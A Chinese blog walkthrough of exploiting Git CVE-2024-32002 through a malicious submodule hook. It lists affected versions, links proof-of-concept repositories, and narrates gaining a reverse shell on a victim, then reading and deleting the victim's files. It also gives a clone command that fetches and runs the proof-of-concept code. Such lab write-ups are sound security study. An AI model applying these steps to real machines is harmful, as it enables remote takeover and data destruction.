Git CVE-2024-32002漏洞利用

利用 CVE-2024-32002漏洞:通过 git clone 进行 RCE的操作

影响版本

Windows 和 MacOS 系统

git 2.45.0 

git 2.44.0 

git 2.43.* < 2.43.4 

git 2.42.* < 2.42.2 

git 2.41.0 

git 2.40.* < 2.40.2 

git < 2.39.4 

详细漏洞利用过程:

Exploiting CVE-2024-32002: RCE via git clone | Amal Murali

一、

poc来源:

GitHub - JJoosh/CVE-2024-32002-Reverse-Shell: Este script demuestra cómo explotar la vulnerabilidad CVE-2024-32002 para obtener una reverse shell, proporcionando acceso remoto al sistema afectado. Úselo con precaución en entornos controlados y solo con fines educativos o de pruebas de seguridad.

上面仓库的git版本应该是不小心写错了。我只验证git 2.44.0 的版本,2.44.1和2.45.1应该是修复了,各位验证还是下载低版本的git吧。

首先创建一个包含恶意 post-checkout 钩子的Git仓库,并通过子模块和符号链接将其嵌入到另一个Git仓库中。最终,当目标用户克隆并初始化这个仓库时,恶意钩子将被执行,并在目标机器上启动一个反向Shell连接。

这是一个受到污染的git仓库。



攻击者打开kali,在kali上建立监听。

执行前需要修改脚本中的ip和端口为主机kali主机的ip和nc监听的端口。

受害者在本地仓库上执行命令。运行名称是pocgitreveshell1.sh是因为尝试修改了其中的一些内容,原始版本改了个名留成备份,运行按自己的名字即可。

攻击者在kali上远程连接到受害者主机。

攻击者执行查看受害者文件内容的命令。

攻击者执行强制删除受害者文件内容的命令。

二、

poc来源

https://github.com/amalmurali47/git_rce 

直接打开git。运行就可以看到执行代码打开了计算器。

git clone --recursive git@github.com:amalmurali47/git_rce.git

三、

下面是chatgpt对--recursive的解释,这个漏洞的话,不加--recursive是不会触发的,因为核心就是要到子仓库拷贝恶意代码。

在使用 git clone 命令克隆仓库时,--recursive 参数的作用是决定是否同时克隆子模块。以下是详细的解释:

不加 --recursive 参数

当您使用 git clone 命令而不加 --recursive 参数时,Git 只会克隆主仓库,不会自动克隆任何子模块。子模块的目录会存在,但它们的内容不会被检出。

git clone <repository-url>

克隆完成后,可以手动初始化和更新子模块:

cd <repository-directory> git submodule init git submodule update

加 --recursive 参数

当您使用 git clone 命令并加上 --recursive 参数时,Git 不仅会克隆主仓库,还会递归地克隆所有子模块。这意味着子模块的内容会在克隆主仓库时一并检出。

git clone --recursive <repository-url>

这样做的好处是,您在克隆仓库后不需要手动初始化和更新子模块,所有子模块会自动被检出到正确的版本。

  • 6
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值